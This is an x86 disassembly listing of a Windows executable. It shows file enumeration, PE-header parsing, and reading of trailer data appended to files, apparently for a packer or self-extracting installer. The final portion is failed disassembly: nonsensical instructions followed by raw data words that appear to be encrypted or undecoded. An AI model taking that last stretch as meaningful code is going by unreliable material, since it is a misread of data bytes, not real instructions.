mov eax, [ebp+var_19C]
and eax, 10h
test eax, eax
jnz loc_50338F
mov ecx, [ebp+var_50]
push ecx
lea edx, [ebp+var_170]
push edx
call ds:dword_5117C0 ; lstrcmpi
test eax, eax
jz loc_50338F
lea edi, [ebp+var_170]
mov edx, [ebp+var_54]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, [ebp+var_54]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
push ecx
mov ecx, [ebp+var_54]
push ecx
call ds:dword_5117C8 ; CharUpperBuffA
mov [ebp+var_1A8], 0
mov [ebp+var_4], 1
push 0
push 1
mov edx, [ebp+var_44]
push edx
call sub_503610
add esp, 0Ch
mov [ebp+var_4], 0
jmp short loc_50338F
; ---------------------------------------------------------------------------
loc_503354: ; DATA XREF: _6:0050E418o
mov eax, [ebp+var_14]
mov ecx, [eax]
mov edx, [ecx]
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1E8]
mov [ebp+var_1A8], eax
mov ecx, [ebp+var_1A8]
and ecx, 0EF000000h
xor eax, eax
cmp ecx, 0EF000000h
setz al
retn
; ---------------------------------------------------------------------------
loc_503385: ; DATA XREF: _6:0050E41Co
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_50338F: ; CODE XREF: sub_502DD0+4FBj
; sub_502DD0+514j ...
lea edx, [ebp+var_19C]
push edx
mov eax, [ebp+var_1A4]
push eax
call ds:dword_5116D4 ; FindNextFileA
test eax, eax
jnz loc_5032C0
mov ecx, [ebp+var_1A4]
push ecx
call ds:dword_5116CC ; FindClose
loc_5033B8: ; CODE XREF: sub_502DD0+4EAj
; sub_502DD0+5FBj
mov edx, [ebp+var_58]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_5033CD
mov ecx, [ebp+var_58]
add ecx, 1
mov [ebp+var_58], ecx
jmp short loc_5033B8
; ---------------------------------------------------------------------------
loc_5033CD: ; CODE XREF: sub_502DD0+5F0j
mov edx, [ebp+var_58]
add edx, 1
mov [ebp+var_58], edx
jmp loc_503264
; ---------------------------------------------------------------------------
loc_5033DB: ; CODE XREF: sub_502DD0+3D6j
; sub_502DD0+4A3j
mov eax, [ebp+var_44]
mov [ebp+var_1BC], eax
mov ecx, [ebp+var_1BC]
push ecx
call sub_5083DD
add esp, 4
call sub_504490
push 10040h
call sub_50835A
add esp, 4
mov [ebp+var_1C0], eax
mov edx, [ebp+var_1C0]
mov ds:dword_5118F8, edx
push 10000h
call sub_50835A
add esp, 4
mov [ebp+var_1C4], eax
mov eax, [ebp+var_1C4]
mov ds:dword_5118FC, eax
push 10000h
call sub_50835A
add esp, 4
mov [ebp+var_1C8], eax
mov ecx, [ebp+var_1C8]
mov ds:dword_511900, ecx
push 10000h
call sub_50835A
add esp, 4
mov [ebp+var_1CC], eax
mov edx, [ebp+var_1CC]
mov ds:dword_511904, edx
push 28h
call sub_50835A
add esp, 4
mov [ebp+var_1D0], eax
cmp [ebp+var_1D0], 0
jz short loc_5034A4
push 83h
mov ecx, [ebp+var_1D0]
call sub_50B77C
mov [ebp+var_1EC], eax
jmp short loc_5034AE
; ---------------------------------------------------------------------------
loc_5034A4: ; CODE XREF: sub_502DD0+6BAj
mov [ebp+var_1EC], 0
loc_5034AE: ; CODE XREF: sub_502DD0+6D2j
mov eax, [ebp+var_1EC]
mov ds:dword_5118E4, eax
push 28h
call sub_50835A
add esp, 4
mov [ebp+var_1D4], eax
cmp [ebp+var_1D4], 0
jz short loc_5034EA
push 83h
mov ecx, [ebp+var_1D4]
call sub_50B77C
mov [ebp+var_1F0], eax
jmp short loc_5034F4
; ---------------------------------------------------------------------------
loc_5034EA: ; CODE XREF: sub_502DD0+700j
mov [ebp+var_1F0], 0
loc_5034F4: ; CODE XREF: sub_502DD0+718j
mov ecx, [ebp+var_1F0]
mov ds:dword_5118E8, ecx
push 28h
call sub_50835A
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 0
jz short loc_503531
push 83h
mov ecx, [ebp+var_1D8]
call sub_50B77C
mov [ebp+var_1F4], eax
jmp short loc_50353B
; ---------------------------------------------------------------------------
loc_503531: ; CODE XREF: sub_502DD0+747j
mov [ebp+var_1F4], 0
loc_50353B: ; CODE XREF: sub_502DD0+75Fj
mov edx, [ebp+var_1F4]
mov ds:dword_5118E0, edx
push 28h
call sub_50835A
add esp, 4
mov [ebp+var_1DC], eax
cmp [ebp+var_1DC], 0
jz short loc_503578
push 83h
mov ecx, [ebp+var_1DC]
call sub_50B77C
mov [ebp+var_1F8], eax
jmp short loc_503582
; ---------------------------------------------------------------------------
loc_503578: ; CODE XREF: sub_502DD0+78Ej
mov [ebp+var_1F8], 0
loc_503582: ; CODE XREF: sub_502DD0+7A6j
mov eax, [ebp+var_1F8]
mov ds:dword_5118EC, eax
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
call sub_5035A2
jmp short loc_5035F3
sub_502DD0 endp
; =============== S U B R O U T I N E =======================================
sub_5035A2 proc near ; CODE XREF: sub_502DD0+7CBp
; DATA XREF: _6:0050E410o
mov ecx, [ebp-1Ch]
mov [ebp-1E0h], ecx
mov edx, [ebp-1E0h]
push edx
call sub_5083DD
add esp, 4
cmp dword ptr [ebp-20h], 0
jz short loc_5035E2
mov ds:dword_511908, 0
mov eax, [ebp-20h]
mov [ebp-1E4h], eax
mov ecx, [ebp-1E4h]
push ecx
call sub_5083DD
add esp, 4
loc_5035E2: ; CODE XREF: sub_5035A2+1Cj
cmp dword ptr [ebp-24h], 0FFFFFFFFh
jz short locret_5035F2
mov edx, [ebp-24h]
push edx
call ds:dword_5116A4 ; CloseHandle
locret_5035F2: ; CODE XREF: sub_5035A2+44j
retn
sub_5035A2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_502DD0
loc_5035F3: ; CODE XREF: sub_502DD0+7D0j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_502DD0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_503610 proc near ; CODE XREF: sub_502DD0+368p
; sub_502DD0+573p
var_308 = dword ptr -308h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = byte ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_C4 = byte ptr -0C4h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_A0 = byte ptr -0A0h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6C = byte ptr -6Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E420
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFCE0h
push ebx
push esi
push edi
mov [ebp+var_20], 0
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
mov [ebp+var_1C], ecx
mov [ebp+var_28], 0FFFFFFFFh
mov [ebp+var_24], 0
mov [ebp+var_4], 0
push 0
push 0
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+arg_0]
push eax
call ds:dword_5116A8 ; CreateFileA
mov [ebp+var_28], eax
cmp [ebp+var_28], 0FFFFFFFFh
jnz short loc_503690
mov ecx, 0EF000005h
call sub_508342
loc_503690: ; CODE XREF: sub_503610+74j
push 0
mov ecx, [ebp+var_28]
push ecx
call ds:dword_511700 ; GetFileSize
mov [ebp+var_54], eax
mov [ebp+var_78], 0
mov edx, [ebp+arg_8]
and edx, 0FFh
test edx, edx
jz loc_50392F
mov eax, ds:dword_511684
mov ecx, [eax+24h]
and ecx, 2
test ecx, ecx
jnz loc_50392F
mov edx, ds:dword_511684
mov eax, [edx+4]
mov [ebp+var_88], eax
mov ecx, [ebp+var_88]
mov edx, [ebp+var_88]
add edx, [ecx+3Ch]
mov ds:dword_511910, edx
mov eax, ds:dword_511910
cmp dword ptr [eax], 4550h
jz short loc_503705
mov ecx, 0EF000002h
call sub_508342
loc_503705: ; CODE XREF: sub_503610+E9j
mov ecx, ds:dword_511910
xor edx, edx
mov dx, [ecx+14h]
mov eax, ds:dword_511910
lea ecx, [eax+edx+18h]
mov [ebp+var_84], ecx
mov edx, ds:dword_511910
add edx, 98h
mov [ebp+var_7C], edx
mov [ebp+var_8C], 0
mov eax, ds:dword_511910
xor ecx, ecx
mov cx, [eax+6]
mov [ebp+var_80], ecx
jmp short loc_503752
; ---------------------------------------------------------------------------
loc_503749: ; CODE XREF: sub_503610:loc_503782j
mov edx, [ebp+var_80]
sub edx, 1
mov [ebp+var_80], edx
loc_503752: ; CODE XREF: sub_503610+137j
cmp [ebp+var_80], 0
jl loc_503893
mov eax, [ebp+var_80]
imul eax, 28h
mov ecx, [ebp+var_84]
cmp dword ptr [ecx+eax+10h], 0
jz short loc_503782
mov edx, [ebp+var_80]
imul edx, 28h
mov eax, [ebp+var_84]
cmp dword ptr [eax+edx+14h], 0
jnz short loc_503784
loc_503782: ; CODE XREF: sub_503610+15Dj
jmp short loc_503749
; ---------------------------------------------------------------------------
loc_503784: ; CODE XREF: sub_503610+170j
mov ecx, [ebp+var_80]
imul ecx, 28h
mov edx, [ebp+var_80]
imul edx, 28h
mov eax, [ebp+var_84]
mov edx, [eax+edx+10h]
mov eax, ds:dword_511910
mov eax, [eax+3Ch]
lea edx, [edx+eax-1]
mov eax, ds:dword_511910
mov eax, [eax+3Ch]
sub eax, 1
not eax
and edx, eax
mov eax, [ebp+var_84]
mov ecx, [eax+ecx+14h]
add ecx, edx
mov [ebp+var_8C], ecx
push 0
push 0
mov edx, [ebp+var_8C]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_511788 ; SetFilePointer
mov [ebp+var_B4], eax
push 0
lea ecx, [ebp+var_90]
push ecx
push 20h
lea edx, [ebp+var_B0]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz loc_503893
cmp [ebp+var_90], 20h
jnz loc_503893
lea ecx, [ebp+var_130]
call sub_507798
push 10h
lea ecx, [ebp+var_B0]
push ecx
lea ecx, [ebp+var_130]
call sub_5077A4
lea edx, [ebp+var_C4]
push edx
lea ecx, [ebp+var_130]
call sub_50785D
mov ecx, 4
lea edi, [ebp+var_A0]
lea esi, [ebp+var_C4]
xor eax, eax
repe cmpsd
jnz short loc_503893
mov ecx, [ebp+var_8C]
add ecx, [ebp+var_B0]
mov [ebp+var_78], ecx
push 2
push 0
push 0
mov edx, [ebp+var_28]
push edx
call ds:dword_511788 ; SetFilePointer
mov [ebp+var_134], eax
mov eax, [ebp+var_134]
sub eax, [ebp+var_78]
neg eax
mov [ebp+var_78], eax
jmp loc_50392F
; ---------------------------------------------------------------------------
loc_503893: ; CODE XREF: sub_503610+146j
; sub_503610+1F0j ...
mov ecx, [ebp+var_7C]
cmp dword ptr [ecx], 0
jz loc_50392F
mov edx, [ebp+var_7C]
cmp dword ptr [edx+4], 0
jz loc_50392F
mov eax, [ebp+var_7C]
mov ecx, [ebp+var_54]
sub ecx, [eax]
neg ecx
mov [ebp+var_78], ecx
mov edx, [ebp+var_7C]
mov eax, [edx]
mov [ebp+var_54], eax
mov [ebp+var_138], 0
loc_5038CB: ; CODE XREF: sub_503610+31Dj
push 2
push 0
mov ecx, [ebp+var_78]
sub ecx, 1
push ecx
mov edx, [ebp+var_28]
push edx
call ds:dword_511788 ; SetFilePointer
mov [ebp+var_140], eax
push 0
lea eax, [ebp+var_13C]
push eax
push 1
lea ecx, [ebp+var_138]
push ecx
mov edx, [ebp+var_28]
push edx
call ds:dword_51177C ; ReadFile
test eax, eax
jnz short loc_503910
mov ecx, 0EF000006h
call sub_508342
loc_503910: ; CODE XREF: sub_503610+2F4j
cmp [ebp+var_138], 0
jz short loc_50391B
jmp short loc_50392F
; ---------------------------------------------------------------------------
loc_50391B: ; CODE XREF: sub_503610+307j
mov eax, [ebp+var_78]
sub eax, 1
mov [ebp+var_78], eax
mov ecx, [ebp+var_54]
sub ecx, 1
mov [ebp+var_54], ecx
jmp short loc_5038CB
; ---------------------------------------------------------------------------
loc_50392F: ; CODE XREF: sub_503610+A1j
; sub_503610+B4j ...
push 2
push 0
mov edx, [ebp+var_78]
sub edx, 4
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_511788 ; SetFilePointer
mov [ebp+var_74], eax
mov ecx, [ebp+var_54]
add ecx, [ebp+var_78]
mov [ebp+var_54], ecx
mov [ebp+var_144], 0
push 0
lea edx, [ebp+var_144]
push edx
push 4
lea eax, [ebp+var_148]
push eax
mov ecx, [ebp+var_28]
push ecx
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503983
cmp [ebp+var_144], 4
jz short loc_50398D
loc_503983: ; CODE XREF: sub_503610+368j
mov ecx, 0EF000006h
call sub_508342
loc_50398D: ; CODE XREF: sub_503610+371j
cmp [ebp+var_148], 0CAFEBABEh
jz short loc_5039B0
mov edx, [ebp+var_148]
xor edx, 0CAFEBABEh
xor edx, [ebp+var_54]
mov [ebp+var_308], edx
jmp short loc_5039BB
; ---------------------------------------------------------------------------
loc_5039B0: ; CODE XREF: sub_503610+387j
mov eax, ds:dword_510BD8
mov [ebp+var_308], eax
loc_5039BB: ; CODE XREF: sub_503610+39Ej
mov ecx, [ebp+var_308]
mov [ebp+var_14C], ecx
mov edx, [ebp+arg_4]
and edx, 0FFh
test edx, edx
jz short loc_5039EF
mov eax, offset dword_510BD8
lea ecx, [ebp+var_14C]
mov edx, [ecx]
cmp edx, [eax]
jz short loc_5039EF
mov ecx, 0EF000007h
call sub_508342
loc_5039EF: ; CODE XREF: sub_503610+3C2j
; sub_503610+3D3j
push 2
push 0
mov eax, [ebp+var_78]
sub eax, 14h
push eax
mov ecx, [ebp+var_28]
push ecx
call ds:dword_511788 ; SetFilePointer
mov [ebp+var_150], 0
push 0
lea edx, [ebp+var_150]
push edx
push 10h
lea eax, [ebp+var_4C]
push eax
mov ecx, [ebp+var_28]
push ecx
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503A34
cmp [ebp+var_150], 10h
jz short loc_503A3E
loc_503A34: ; CODE XREF: sub_503610+419j
mov ecx, 0EF000006h
call sub_508342
loc_503A3E: ; CODE XREF: sub_503610+422j
mov edx, [ebp+arg_8]
and edx, 0FFh
neg edx
sbb edx, edx
and edx, 0Ch
mov [ebp+var_68], edx
push 2
push 0
mov eax, [ebp+var_68]
add eax, 2Ch
mov ecx, [ebp+var_78]
sub ecx, eax
push ecx
mov edx, [ebp+var_28]
push edx
call ds:dword_511788 ; SetFilePointer
mov [ebp+var_154], 0
mov eax, [ebp+arg_8]
and eax, 0FFh
test eax, eax
jz loc_503B15
push 0
lea ecx, [ebp+var_154]
push ecx
push 4
lea edx, [ebp+var_34]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503AAB
cmp [ebp+var_154], 4
jz short loc_503AB5
loc_503AAB: ; CODE XREF: sub_503610+490j
mov ecx, 0EF000006h
call sub_508342
loc_503AB5: ; CODE XREF: sub_503610+499j
push 0
lea ecx, [ebp+var_154]
push ecx
push 4
lea edx, [ebp+var_50]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503ADB
cmp [ebp+var_154], 4
jz short loc_503AE5
loc_503ADB: ; CODE XREF: sub_503610+4C0j
mov ecx, 0EF000006h
call sub_508342
loc_503AE5: ; CODE XREF: sub_503610+4C9j
push 0
lea ecx, [ebp+var_154]
push ecx
push 4
lea edx, [ebp+var_38]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503B0B
cmp [ebp+var_154], 4
jz short loc_503B15
loc_503B0B: ; CODE XREF: sub_503610+4F0j
mov ecx, 0EF000006h
call sub_508342
loc_503B15: ; CODE XREF: sub_503610+46Fj
; sub_503610+4F9j
push 0
lea ecx, [ebp+var_154]
push ecx
push 4
lea edx, [ebp+var_60]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503B3B
cmp [ebp+var_154], 4
jz short loc_503B45
loc_503B3B: ; CODE XREF: sub_503610+520j
mov ecx, 0EF000006h
call sub_508342
loc_503B45: ; CODE XREF: sub_503610+529j
push 0
lea ecx, [ebp+var_154]
push ecx
push 4
lea edx, [ebp+var_70]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503B6B
cmp [ebp+var_154], 4
jz short loc_503B75
loc_503B6B: ; CODE XREF: sub_503610+550j
mov ecx, 0EF000006h
call sub_508342
loc_503B75: ; CODE XREF: sub_503610+559j
push 0
lea ecx, [ebp+var_154]
push ecx
push 4
lea edx, [ebp+var_3C]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503B9B
cmp [ebp+var_154], 4
jz short loc_503BA5
loc_503B9B: ; CODE XREF: sub_503610+580j
mov ecx, 0EF000006h
call sub_508342
loc_503BA5: ; CODE XREF: sub_503610+589j
push 0
lea ecx, [ebp+var_154]
push ecx
push 4
lea edx, [ebp+var_64]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503BCB
cmp [ebp+var_154], 4
jz short loc_503BD5
loc_503BCB: ; CODE XREF: sub_503610+5B0j
mov ecx, 0EF000006h
call sub_508342
loc_503BD5: ; CODE XREF: sub_503610+5B9j
push 0
lea ecx, [ebp+var_154]
push ecx
push 4
lea edx, [ebp+var_6C]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503BFB
cmp [ebp+var_154], 4
jz short loc_503C05
loc_503BFB: ; CODE XREF: sub_503610+5E0j
mov ecx, 0EF000006h
call sub_508342
loc_503C05: ; CODE XREF: sub_503610+5E9j
push 0
lea ecx, [ebp+var_154]
push ecx
push 4
lea edx, [ebp+var_58]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_51177C ; ReadFile
test eax, eax
jz short loc_503C2B
cmp [ebp+var_154], 4
jz short loc_503C35
loc_503C2B: ; CODE XREF: sub_503610+610j
mov ecx, 0EF000006h
call sub_508342
loc_503C35: ; CODE XREF: sub_503610+619j
mov ecx, [ebp+arg_8]
and ecx, 0FFh
test ecx, ecx
jz loc_503E52
cmp [ebp+var_50], 0
jz loc_503E52
cmp [ebp+var_34], 0
jz loc_503E52
push 24h
call sub_50835A
add esp, 4
mov [ebp+var_2D8], eax
mov edx, [ebp+var_2D8]
mov [ebp+var_158], edx
mov eax, [ebp+var_1C]
add eax, 1
push eax
call sub_50835A
add esp, 4
mov [ebp+var_2DC], eax
mov ecx, [ebp+var_158]
mov edx, [ebp+var_2DC]
mov [ecx+0Ch], edx
mov ecx, [ebp+var_1C]
add ecx, 1
mov esi, [ebp+arg_0]
mov eax, [ebp+var_158]
mov edi, [eax+0Ch]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebp+var_158]
mov dword ptr [eax], 0
push 10h
call sub_50835A
add esp, 4
mov [ebp+var_2E0], eax
mov ecx, [ebp+var_158]
mov edx, [ebp+var_2E0]
mov [ecx+4], edx
push 4
call sub_50835A
add esp, 4
mov [ebp+var_2E4], eax
mov eax, [ebp+var_158]
mov ecx, [ebp+var_2E4]
mov [eax+8], ecx
mov edx, [ebp+var_158]
mov dword ptr [edx+18h], 1
mov eax, [ebp+var_158]
mov dword ptr [eax+14h], 0
push 0
push 0
mov ecx, [ebp+var_158]
add ecx, 1Ch
push ecx
mov edx, [ebp+var_28]
push edx
call ds:dword_511704 ; GetFileTime
mov edi, ds:dword_51190C
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
mov eax, ds:dword_511908
sub ecx, [eax+0C14h]
mov [ebp+var_15C], ecx
mov ecx, [ebp+var_15C]
add ecx, 1
push ecx
call sub_50835A
add esp, 4
mov [ebp+var_2E8], eax
mov edx, [ebp+var_158]
mov eax, [edx+4]
mov ecx, [ebp+var_2E8]
mov [eax], ecx
mov edx, [ebp+var_158]
mov eax, [edx+4]
mov ecx, [ebp+var_158]
mov edx, [ecx+8]
mov eax, [eax]
mov [edx], eax
mov ecx, [ebp+var_15C]
add ecx, 1
mov edx, ds:dword_511908
mov esi, ds:dword_51190C
add esi, [edx+0C14h]
mov eax, [ebp+var_158]
mov edx, [eax+8]
mov edi, [edx]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+var_15C]
push ecx
mov edx, [ebp+var_158]
mov eax, [edx+8]
mov ecx, [eax]
push ecx
call ds:dword_5117C8 ; CharUpperBuffA
mov edx, [ebp+var_158]
mov eax, [edx+4]
mov ecx, [ebp+var_34]
mov [eax+4], ecx
mov edx, [ebp+var_158]
mov eax, [edx+4]
mov ecx, [ebp+var_50]
mov [eax+8], ecx
mov edx, [ebp+var_158]
mov eax, [edx+4]
mov ecx, [ebp+var_38]
mov [eax+0Ch], ecx
mov edx, ds:dword_511908
mov [ebp+var_160], edx
mov eax, [ebp+var_158]
mov ecx, [ebp+var_160]
mov edx, [ecx]
mov [eax+10h], edx
mov eax, [ebp+var_160]
mov ecx, [ebp+var_158]
mov [eax], ecx
mov edx, ds:dword_511908
mov eax, [edx+4]
add eax, 1
mov ecx, ds:dword_511908
mov [ecx+4], eax
loc_503E52: ; CODE XREF: sub_503610+630j
; sub_503610+63Aj ...
mov edx, [ebp+var_54]
sub edx, [ebp+var_58]
mov [ebp+var_58], edx
mov eax, [ebp+var_3C]
add eax, [ebp+var_58]
mov [ebp+var_3C], eax
mov ecx, [ebp+var_54]
sub ecx, [ebp+var_3C]
test ecx, ecx
jb short loc_503E79
mov edx, [ebp+var_54]
sub edx, [ebp+var_3C]
cmp [ebp+var_60], edx
jbe short loc_503E83
loc_503E79: ; CODE XREF: sub_503610+85Cj
mov ecx, 0EF000007h
call sub_508342
loc_503E83: ; CODE XREF: sub_503610+867j
mov eax, [ebp+var_60]
push eax
call sub_50835A
add esp, 4
mov [ebp+var_2EC], eax
mov ecx, [ebp+var_2EC]
mov [ebp+var_24], ecx
mov [ebp+var_234], 0
mov [ebp+var_238], 0
push 0
push 0
mov edx, [ebp+var_3C]
push edx
mov eax, [ebp+var_28]
push eax
call ds:dword_511788 ; SetFilePointer
loc_503EC4: ; CODE XREF: sub_503610+90Aj
mov ecx, [ebp+var_238]
cmp ecx, [ebp+var_60]
jz short loc_503F1C
mov [ebp+var_234], 0
push 0
lea edx, [ebp+var_234]
push edx
mov eax, [ebp+var_60]
sub eax, [ebp+var_238]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+var_28]
push edx
call ds:dword_51177C ; ReadFile
test eax, eax
jnz short loc_503F08
mov ecx, 0EF000006h
call sub_508342
loc_503F08: ; CODE XREF: sub_503610+8ECj
mov eax, [ebp+var_238]
add eax, [ebp+var_234]
mov [ebp+var_238], eax
jmp short loc_503EC4
; ---------------------------------------------------------------------------
loc_503F1C: ; CODE XREF: sub_503610+8BDj
push 120000h
call near ptr loc_4FDB7D+1
fxch4 st(2)
push esp
mov ebp, 46EE4704h
fst st
iret
sub_503610 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0F5h, 0E9h, 1Eh
dd 0D5E28C45h, 8C62D4A7h, 7CF0AAEEh, 97AF283Eh, 0D6A56BD3h
dd 7F01D584h, 9F85C5B6h, 0E7618390h, 0A2424F41h, 0FED9E4FEh
dd 0CDB905E3h, 55C9DCC0h, 0EF5F05A1h, 6E843F49h, 52F6001Ah
dd 67F55184h, 978DDDCEh, 1D797B88h, 0BA3A4746h, 6F9ECF7h
dd 0C5B6D5FBh, 339090B8h, 75D285D2h, 4C8D8DEEh, 0E8FFFFFDh
dd 37FCh, 50A0458Bh, 51DC4D8Bh, 0FD4C8D8Dh, 0F5E8FFFFh
dd 8D000037h, 0FFFDB895h, 8D8D52FFh, 0FFFFFD4Ch, 389CE8h
dd 4B900h, 0BD8D0000h, 0FFFFFDB8h, 33B4758Dh, 74A7F3C0h
dd 7B90Ah, 63E8EF00h, 6A000043h, 4374E824h, 0C4830000h
dd 10858904h, 8BFFFFFDh, 0FFFD108Dh, 0E04D89FFh, 83E4558Bh
dd 0E85201C2h, 4356h, 8904C483h, 0FFFD0C85h, 0E0458BFFh
dd 0FD0C8D8Bh, 4889FFFFh, 0E44D8B0Ch, 8B01C183h, 558B0875h
dd 0C7A8BE0h, 0E9C1C18Bh, 8BA5F302h, 3E183C8h, 4D8BA4F3h
dd 0DC558BE0h, 458B1189h, 9C4503DCh, 89E04D8Bh, 558B0441h
dd 2E2C194h, 4304E852h, 0C4830000h, 8858904h, 8BFFFFFDh
dd 8D8BE045h, 0FFFFFD08h, 8B084889h, 458BE055h, 18428994h
dd 0C7E04D8Bh, 1441h, 558D0000h, 458D52D0h, 4D8B50D0h
dd 1CC183E0h, 0D8558B51h, 415FF52h, 8B005117h, 7883E045h
dd 16750020h, 83E04D8Bh, 75001C79h, 0E0558B0Dh, 521CC283h
dd 172C15FFh, 45C70051h, 0A4h, 8B09EB00h, 0C083A445h, 0A4458901h
dd 3BA44D8Bh, 830F944Dh, 0E3h, 0C1A4558Bh, 458B04E2h, 4488BE0h
dd 3DC458Bh, 4D8B1104h, 4E1C1A4h, 8BE0558Bh, 4890452h
dd 0A4458B0Ah, 8B04E0C1h, 518BE04Dh, 23C8B04h, 33FFC983h
dd 0F7AEF2C0h, 0FFC183D1h, 0FD488D89h, 858BFFFFh, 0FFFFFD48h
dd 5001C083h, 4235E8h, 4C48300h, 0FD048589h, 4D8BFFFFh
dd 8518BE0h, 8BA4458Bh, 0FFFD048Dh, 820C89FFh, 0FD488D8Bh
dd 0C183FFFFh, 0A4558B01h, 8B04E2C1h, 408BE045h, 10348B04h
dd 8BE0558Bh, 558B0842h, 903C8BA4h, 0E9C1C18Bh, 8BA5F302h
dd 3E183C8h, 8D8BA4F3h, 0FFFFFD48h, 0A4558B51h, 8B04E2C1h
dd 488BE045h, 11148B04h, 0C815FF52h, 8B005117h, 0E0C1A445h
dd 0E04D8B04h, 8B04518Bh, 3040244h, 4D8BA845h, 4E1C1A4h
dd 8BE0558Bh, 44890452h, 8E9040Ah, 8BFFFFFFh, 4503DC45h
dd 0FC7881A0h, 0FEFEFEFEh, 0A7850Fh, 4D8B0000h, 0A04D03DCh
dd 89F8518Bh, 0FFFD3C95h, 0DC458BFFh, 8BA04503h, 8D89F448h
dd 0FFFFFD40h, 3DC558Bh, 0FFFD4095h, 449589FFh, 0C7FFFFFDh
dd 0FFFD3885h, 0FFh, 8B0FEB00h, 0FFFD3885h, 1C083FFh, 0FD388589h
dd 8D8BFFFFh, 0FFFFFD38h, 0FD3C8D3Bh, 3A73FFFFh, 0FD38958Bh
dd 0D26BFFFFh, 44858B18h, 3FFFFFDh, 348589C2h, 8BFFFFFDh
dd 0FFFD348Dh, 0DC558BFFh, 8B105103h, 0FFFD3485h, 105089FFh
dd 0FD348D8Bh, 8D89FFFFh, 0FFFFFD30h, 958BA9EBh, 0FFFFFD44h
dd 18F01589h, 858B0051h, 0FFFFFD3Ch, 5118F4A3h, 80D8B00h
dd 89005119h, 0FFFD2C8Dh, 2C958BFFh, 83FFFFFDh, 840F003Ah
dd 152h, 8908458Bh, 0FFFCF485h, 2C8D8BFFh, 8BFFFFFDh, 0C428B11h
dd 0FCF08589h, 8D8BFFFFh, 0FFFFFCF0h, 9588118Ah, 0FFFFFCEFh
dd 0FCF4858Bh, 103AFFFFh, 0BD804675h, 0FFFFFCEFh, 8B317400h
dd 0FFFCF08Dh, 1518AFFh, 0FCEE9588h, 858BFFFFh, 0FFFFFCF4h
dd 7501503Ah, 0F0858323h, 2FFFFFCh, 0FCF48583h, 8002FFFFh
dd 0FFFCEEBDh, 0AE7500FFh, 0FCE885C7h, 0FFFFh, 0BEB0000h
dd 0D983C91Bh, 0E88D89FFh, 8BFFFFFCh, 0FFFCE895h, 0E49589FFh
